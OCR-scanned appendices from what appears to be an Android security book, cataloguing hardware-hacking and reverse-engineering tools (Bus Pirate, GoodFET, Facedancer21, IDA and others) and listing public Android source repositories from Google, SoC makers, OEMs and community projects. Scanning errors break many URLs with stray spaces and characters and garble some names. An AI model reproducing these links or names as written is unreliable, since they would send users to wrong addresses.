The Bus Pirate, developed by Dangerous Prototypes, is an open source hardware 
device that enables you to speak to electronic devices. It supports debugging, 
programming, and interrogating chips through the use of standard protocols 
and a command line interface. More information about the Bus Pirate is avail- 
able athttp://dangerousprototypes.com/bus-pirate-manual/. 


GoodFET 


Travis Goodspeed’s GoodFET is an open source flash emulator tool (FET) and 
JTAG adapter. It is similar to the Bus Pirate in many ways, but is based on 
different hardware. To learn more about the GoodFET, visit ht t p:// goodfet 
sourceforge. net/. 


497 


498 


Appendix A = Tool Catalog 


Total Phase Beagle USB 


Total Phase’s line of USB Analyzer products let you monitor data moving across 
USB connections at a variety of speeds. They come with custom software that 
makes decoding communications easy, even if custom data formats are used. More 
information is available atht tp: // www. total phase.com/protocols/usb/. 


Facedancer21 


Travis Goodspeed’s Facedancer21 is an open source hardware device that allows 
you to take the role of a USB device or host. Once connected, you write your 
emulation code in Python and respond to the peer however you like. This enables 
USB fuzzing as well as emulating just about any USB device imaginable. You 
can read more about the Facedancer at http://goodfet.sourceforge. net/ 
hardware/facedancer21/ or purchase assembled units at htt p://int3.cc/ 
products/facedancer2l. 


Total Phase Beagle I?C 


Total Phase’s line of IC Host Adapter products enable communicating with 
electronics that talk over IC interfaces. It plugs into your machine using USB 
and includes custom software to make talking to I’C easy. Further information 
about this device is available atht tp: // www. total phase.com/protocols/i2c/. 


Chip Quik 


Using Chip Quik, you can easily remove surface mount components from a 
circuit board. Since it has a higher melting point than regular solder, which 
solidifies almost instantly, it keeps the solder liquefied longer allowing you 
to separate components. You can read more about Chip Quik at htt p:// www 
chi pqui ki nc. com/ and purchase it from just about any electronics supply shop. 


Hot air gun 


A hot air gun ... 


Xeltek SuperPro 


Xeltek’s line of products under the SuperPro moniker enables access to read- 
ing and writing many different types of flash memory. Xeltek makes adapters 
to support many different form factors and provides software to make the 
process easy. More information about Xeltek’s products is available at ht t p: 
|] www. xeltek.com/. 
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IDA 


Hex-Rays’ Interactive Disassembler (IDA) products let you peer into the inner 
workings of closed-source software. It is available in a free, limited evalua- 
tion version and a Pro version. The Pro version supports many instruction set 
architectures (ISAs) and binary formats. You can learn more about IDA, and 
download the free version, from https://www. hex- rays. com/products/i da/ 
index. shtml. 
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Open Source Repositories 


The Android operating system is mostly open source. Although some compo- 
nents are closed source, many parts of the system are either released open source 
under a permissive license (BSD or Apache) or under a license that requires that 
modifications be released open source (GNU Public License [GPL]). Because 
of the GPL, many vendors in the ecosystem make source code modifications 
available to the general public. This appendix documents the publicly accessible 
resources that distribute the source code used to build various Android devices. 


Google 


As mentioned in Chapter 1 of this book, Google is the originator of the Android 
operating system. Google develops new versions in secret and then contributes 
the code to the Android Open Source Project (AOSP) upon release. Several of the 
facilities Google provides for accessing source code are documented elsewhere 
in this text, but for your convenience, we have repeated them here. 


AOSP 


The AOSP is a collection of Git repositories that contain the open source parts of 
the Android operating system. It is the primary outlet for all things Android. It 
even serves as the upstream starting point for original equipment manufacturers 
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(OEMs) to build firmware images. In addition to the source code for the differ- 
ent runtime components, AOSP includes a full build environment, source for 
the Native Development Kit (NDK) and Software Development Kit (SDK), and 
more. It supports building full device images for Nexus devices in spite of some 
components being provided in binary-only form. 

For any given device, there are two primary components: the platform and 
the kernel. For Nexus devices, both components are contained completely in 
AOSP. The AOSP repository, which was once hosted alongside the Linux kernel 
source, is now hosted on Google’s own servers at the following URL: ht t ps: / / 
android. googlesource.com/. 

AOSP uses a special tool called repo to organize and manage the collection 
of Git repositories. You can find more information on using this tool and obtain 
a full source checkout from Google’s official documentation at htt p:// source 
-android.com/source/downloading. html. 

In addition to being able to check out the AOSP repository in whole or in part, 
Google provides a source browsing facility via its Google Code site: ht t ps: // 
code. google.com p/android-source- browsing/. 

As mentioned in Chapter 10, kernel source repositories are split up based on 
System-on-Chip (SoC) support. There are repositories for Open Multimedia 
Applications Platform (OMAP) from Texas Instruments, Mobile Station Modem 
(MSM) from Qualcomm, Exynos from Samsung, Tegra from Nvidia, and the 
emulator (goldfish). Although the upstream source trees for these are maintained 
by the SoC manufacturers themselves, Google hosts the repository officially 
used for Nexus devices. 


Gerrit Code Review 


Beyond providing source code repositories and a source browser, Google also 
hosts a Gerrit code review system. It is through this system that contributors 
from outside Google are encouraged to submit patches. Keeping an eye on this 
repository enables researchers to see potential changes that are being made to the 
AOSP code prior to the changes actually being committed. You can find the Gerrit 
source-code review system at: https://android-review. googl esource.com/. 


SoC Manufacturers 


Within the Android ecosystem, the SoC manufacturers are responsible for 
creating Board Support Packages (BSPs). These BSPs are nothing more than 
modified versions of upstream projects ported to work on the SoC manufactur- 
ers’ hardware. 
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Each manufacturer maintains its own source repositories. Whether this 
development is done completely in the open is largely up to the manufacturer 
itself. Many do provide an open source repository, but some do not. The pri- 
mary open source component for BSPs is the Linux kernel. Under the terms of 
the GPL, these companies are legally bound to provide access to kernel source 
modifications in some form. 

The rest of this section sheds light on the practices of the top SoC manufacturers. 


AllWinner 


The AllWinner SoC is an ARM core that is developed by AllWinner Technology 
in the Guangdong Province in China. The code name for these SoCs is sunxi. 
Conveniently, AllWinner makes the source code for its BSP, including its kernel 
and several other components, available via GitHub: htt ps:// github. com/ 
li nux-sunxi. 

It’s worth noting that there is no official Google mirror of these sources because, 
to date, no official AOSP-supported devices have been built on AllWinner’s SoCs. 


Intel 


Unlike the rest of the SoC manufacturers in this section, Intel does not produce 
ARM chips. Instead, Intel is attempting to break into the mobile space using 
power efficient x86-based SoCs based on its Atom line. Specifically, the Bay 
Trail and Silvermont SoCs are aimed at the mobile space, but very few actual 
Android devices are built on them. That said, Intel is the biggest proponent of 
running Android on X86 hardware and provides quite a few resources under 
the “android-ia” moniker. Intel makes its resources available via its developer 
site, Gerrit code review, and download site: 


mhttps://01.org/android-ia/document ation/ developers 
mhttps://android-review. 01. org/ #/ admi n/ proj ects/ 
mhttps://01.org/android-ia/downloads 


keg Links from Intel’s Gerrit site provide GitWeb access for the repositories 
hosted there. 


Marvell 


Marvell is traditionally known as a manufacturer of several plug form fac- 
tor ARM computers. Few mobile devices are based on Marvell ARM SoCs. 
One device that is rumored to be based on Android and a Marvell SoC is the 
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One Laptop Per Child (OLPC) XO Tablet. Apart from the mobile space, many 
second-generation Google TV devices, which are cousins of Android devices, 
are built on Marvell SoCs. Although Marvell appears to have an open source 
site, it was empty at the time of this writing. 

Some Marvell SoC-specific code is included in the upstream Linux kernel, 
though. You can find it at: ht tp://opensource. marvell.com/. 


MediaTek 


MediaTek is another Chinese SoC manufacturer. In addition to producing SoCs, 
it also produces many other peripheral chips used by other OEMs. The source 
code for drivers for many of its components is available on its download site 
at: http://www. mediatek.com/_en/07_downloads/01_windows. php?sn=501. 

Like AllWinner, no AOSP-supported devices to date have been built on a 
MediaTek SoC. 


Nvidia 
Nvidia produces the Tegra line of ARM SoCs used by several Android devices, 
including the Nexus 7 2012. As an upstanding member of the ecosystem, Nvidia 
operates a developer program, both for its Tegra SoCs and for its budding Shield 
video game system. Additionally, it provides a convenient GitWeb interface to 
its open source Git repositories. It’s also possible to check out the source directly 
from the GitWeb site or from the AOSP mirror: 

mhttp://nv-tegra.nvidia. com git web/ 

mhttps://android.googl esource. com kernel/tegra 


mhttps://developer.nvidia.com/develop4shield#0SR 


Texas Instruments 


Though Texas Instruments (TI) has stated its intention to exit the mobile space, 
its OMAP SoCs have been used in a large number of Android devices over the 
years. This includes the Samsung Galaxy Nexus, Pandaboard, and Google Glass. 
As one would expect, Google hosts a mirror of the OMAP kernel inside AOSP. 
You can find various versions of the OMAP kernel source at: 


mhttp://dev. omapzoom. org/ 


mhttp://git.kernel.org/cgit/linux/kernel/git/tmlind/1inux- 
omap. git/ 


mhttps://android. googl esource. com/ kernel /omap 
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Due to its long life in the ecosystem, there are numerous resources that address 
the OMAP platform, including community-run Wikis. Following are links to a 
few of the relevant resources: 


mhttp://elinux. org/Android_on_OMAP 
m http://www. omappedia.com/wiki/Main_ Page 
mhttp://www.ti.com/Ilsds/ti/tools-software/android. page 


mhttps://gforge.ti.com/gf/project/omapandroid 


Qualcomm 


Qualcomm is perhaps the most prolific SoC manufacturer in the Android eco- 
system, producing both MSM and Application Processor Qualcomm (APQ) 
families of SoCs. APQ differs from MSM in that it is only an application proces- 
sor; it does not include a baseband. 

In the Android open source community, Qualcomm provides extensive 
resources to the CodeAurora forum. CodeAurora is a consortium of companies 
that are working openly to bring optimizations and innovation to end users. A 
number of open source repositories, including some that are not Android-specific, 
are available via the CodeAurora forum site. Additionally, Google maintains 
a mirror of the MSM kernel tree used in its Nexus devices. Use the following 
three URLs to find source code for Qualcomm: 


æ https://www. codeaurora. org/projects/al| 
m https://www. codeaurora.org/cgit/ 


mhttps://android. googlesource.com/ kernel / msm 


Samsung 


Samsung produces its own family of SoCs dubbed Exynos. It uses these in the 
manufacturing of several of its Android-based mobile devices, including certain 
versions of the Galaxy S3 and Galaxy 54. Samsung makes its kernel source code 
and some of its modifications to the Android tree available via a searchable 
Open Source portal. Because the Nexus S and Nexus 10 are based on Exynos 
SoCs, Google hosts a mirror of the kernel trees. The following URLs provide 
access to Samsung’s open source code: 


mhttp://opensource. samsung. com/ 
mhttps://android. googlesource.com/kernel/samsung 


mhttps://android. googlesource.com/kernel/exynos 
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In addition, several development boards are based on Exynos. Hardkernel’s 
ODROID products, InSignal’s OrigenBoard, and ArndaleBoard are among these. 
Source code for these devices is available from the respective manufacturers 
at the following sites: 


mhttp://comodroid.com/sigong/nf_file_ board/nfile_ board. php 


mhttp:// www. arndaleboard. org/wiki/index. php/ 
Resources #How to Download Source Tree 


= http://www. origenboard. org/wiki/index. php/ 
Resources #How to Download Source Tree 


= http://www. origenboard. org/wiki/index. php/ 
Resources#How to Download Source Tree 2 


OEMs 


Recall that OEMs are ultimately responsible for creating end-user devices that 
are functional. It is no surprise that OEMs make the most modifications to the 
various components. This includes open source components as well as those 
licensed under proprietary licenses or developed in house. However, only the 
former changes are typically released in source code form. Like the SoC manu- 
facturers, OEMs are legally required to release some code under the terms of 
the GPL. 

Although all OEMs are bound by mostly the same rules, actual practices vary 
from one to the next. That is, some OEMs use an open development process 
using sites like GitHub, whereas others develop in secret and provide only 
downloadable code in archive form. The time it takes each OEM to make its 
code available can also vary from one OEM to the next or one release to the next. 
The rest of this section sheds light on the practices of several top device OEMs 
and provides links to the source code download portal for them. 


ASUS 


As a manufacturer of several Android devices, including the popular Nexus 
7 tablets, ASUS makes source code available to the general public. Shortly after 
releasing a new firmware update, ASUS makes the source code available on its 
support website in the form of compressed TAR archives. Because the Nexus 
7 tablets run vanilla Android, no source code is hosted for those devices. 
To find the source code for a particular device, visit the ASUS support site 
(www. asus. com/ support) and search for the device by name or model number, 
click the Drivers & Tools, and select Android from the drop-down list. 
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HTC 


HTC is one of the oldest Android equipment manufacturers. It created the 
very first publicly available developer device—the HTC G1. At the time of 
its release, it was frequently called the “G Phone.” Later, HTC produced the 
Nexus One, which was the first Nexus device ever made. Although these 
two devices were supported by AOSP, HTC has also made a large number of 
retail devices over the years. Most recently, it released another favorite among 
consumers: the HTC One. 

HTC typically posts source code within a few days of making a firmware 
release. The available source is limited to the Linux kernel. None of HTC’s 
extensive platform modifications are released as open source. HTC releases 
source code as compressed TAR archives via its Developer Center website at 
http://www. htcdev.com/devcenter/downl oads. 


LG 


LG has quickly become one of the top OEMs with devices such as the Optimus 
G and LG G2. LG also created the two most recent Nexus smart phones, the 
Nexus 4 and 5. As with other OEMs, LG does not release source code for its 
Nexus devices because they are entirely AOSP supported. However, LG does 
release source code for its retail devices. Unfortunately, it sometimes takes quite 
a while for LG to post the source code after releasing a new firmware revision. 
You can easily locate the compressed TAR archive containing source code for 
a particular device by searching LG’s open source portal for the device’s name 
or model number: http://www. lg. com gl obal/support/opensource/index. 


Motorola 


Motorola has been a player in the Android ecosystem for quite some time. 
It comes as no surprise with Motorola’s background in silicon as well as the 
mobile space. Motorola created the ultra-popular RAZR flip phone. In 2013, 
Google acquired Motorola Mobility, the department of Motorola that produces 
Android devices. Though it has yet to make a Nexus device, it has made quite a 
few retail devices. For example, Motorola produces the DROID line of devices 
for Verizon. 

Motorola releases the source code used to build its devices via a Source Forge 
project page. The releases happen in a fairly timely fashion, usually within a 
month or so of the release of a device or firmware. The files are made available 
as compressed TAR archives at http: //sourceforge.net/ motorol a/wiki/ 
Projects/. 
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Samsung 


Samsung is the market leader in Android devices and has produced some of the 
most popular devices to date. Samsung’s offerings include the Galaxy line of 
devices as well as three Nexus devices: the Nexus S, Galaxy Nexus, and Nexus 
10. Samsung is fairly timely in its source code releases. It makes the source code 
available as compressed TAR archives via its open source portal. This includes 
both kernel and platform archives, which you can find at ht t p:// opensource 
.samsung. com. 


Sony Mobile 


Sony’s mobile division was born from a partnership and subsequent acquisition 
of Ericsson, a Swedish mobile company. Over the years of involvement in the 
mobile ecosystem, Ericsson produced many devices. Some of the most recent 
devices include the Xperia line. Sony Mobile has yet to produce a Nexus device. 

Sony-Ericsson is perhaps the quickest and most open when it comes to its 
source code. In some cases, it releases the source code for devices prior to release. 
Further, Sony-Ericsson is the only Android device OEM that embraces open 
source so much as to create an official GitHub account to host code. In addition 
to its GitHub account, Sony-Ericsson also makes traditional compressed TAR 
archives available via its developer portal. You can access these sites using the 
following URLs: 


mhttp://developer.sonymobile.com/downl oads/ 
Xperia-open-source-archives/ 


mhttp://developer.sonymobile.com/downl oads/opensource/ 


mhttps://github. com sonyxperiadev/ 


Upstream Sources 


As mentioned numerous times through this book, Android is an amalgamation 
of many open source projects. AOSP contains a local copy of nearly all of these 
projects in the external directory. As of this writing, the subdirectory count is 
169. Although it isn’t necessarily a one-to-one mapping, many of these directo- 
ries represent an open source project that is managed entirely separately from 
Android. Each project likely varies in the way the developers do their develop- 
ment. In any case, a few quick Internet searches should turn up a project home 
page for each project. Using those resources, you can usually find access to the 
latest versions of the upstream project’s source code. For example, WebKit is one 
of the larger open source projects in the external directory. Its project home 
page ishttp:// www. webkit.org/ and the process for obtaining its source code 
is documented in detail atht tp: // www. webkit.org/building/checkout. htm. 
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The largest open source component of the Android operating system is 
undoubtedly the Linux kernel. Literally thousands of developers have con- 
tributed to the project. The source code itself, uncompressed, stands at almost 
600 megabytes (MB). As mentioned earlier in this appendix, Google and other 
companies host working mirrors of the Linux kernel source code. These mir- 
rors are often specific to a device or SoC family. In addition, the Linux kernel 
project continues to chug along on its own. The upstream Linux kernel project 
has many resources surrounding it, but the source code itself has been hosted 
on www. kernel. org for quite some time. Be warned, though; using the upstream 
Linux kernel source repositories is not for the faint of heart, because there are 
many projects, repositories, and divisions of responsibility. The following URLs 
link to the Linux kernel’s official source code repositories and include: the main 
repository listing, the stable tree, and Linus’ merge tree. 


mhttps://git.kernel.org/cgit/ 


mhttps://git.kernel.org/cgit/linux/kernel/git/stable/linux- 
stable. git/ 


mhttps://git.kernel.org/cgit/linux/kernel/git/torvalds/linux. git/ 


Others 


In addition to the source code resources already documented in this appendix, 
the Android hobbyist community also makes a decent amount of source code 
available. From Custom firmware to motivated individuals, Android-related 
source code is available all over the Internet. This section documents several 
sources we found while researching Android security. 


Custom Firmware 


Custom firmware teams operate much in the same way that an OEM's software 
team would operate. They customize the AOSP code and manage integrating 
software that supports the various hardware components found in devices. 
Projects such as CyanogenMod, AOKP, SuperNexus, OmniROM, and more 
make their source code available openly. Most even develop entirely in the 
open. You can find the source code for the four projects mentioned here at 
the following URLs: 


mhttps://github. com/CyanogenMod 
mhttps:// github. com/AOKP 


mhttps:// github. com/ Super Nexus 


mhttp://omnirom.org/source-code/ 
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Linaro 


The Linaro project is another great resource that makes a lot of source code 
available. It operates similar to a Linux distribution in that it tries to port and 
integrate components in an open effort to product high quality builds. The 
Linaro project source code is athttps://wiki.linaro. org/Source. 


Replicant 


Another interesting project is the Replicant project. The aim of Replicant is to 
produce a fully open source and liberally licensed device firmware that is com- 
patible with Android. It doesn’t seek to carry the Android name, but is based on 
AOSP. Find out more athttp://redmine.replicant.us/projects/replicant/ 
wiki/ReplicantSources. 


Code Indexes 


As a matter of convenience, a few independent parties have set up a browsable 
and searchable index of the AOSP source code. Here’s one we recommend: 


mhttp://androidxref. com 


Individuals 


Beyond these projects, quite a few individuals in the community put up a 
repository and develop interesting features. For example, efforts by individuals 
include back-porting new Android releases to unsupported devices. Locating 
these types of source repositories can be tricky, though. Searching popular open 
source development sites like GitHub and BitBucket is one way to locate these 
repositories. Another way is to watch the popular Android-related news sites 
like Android Police or forums like XDA Developers. 
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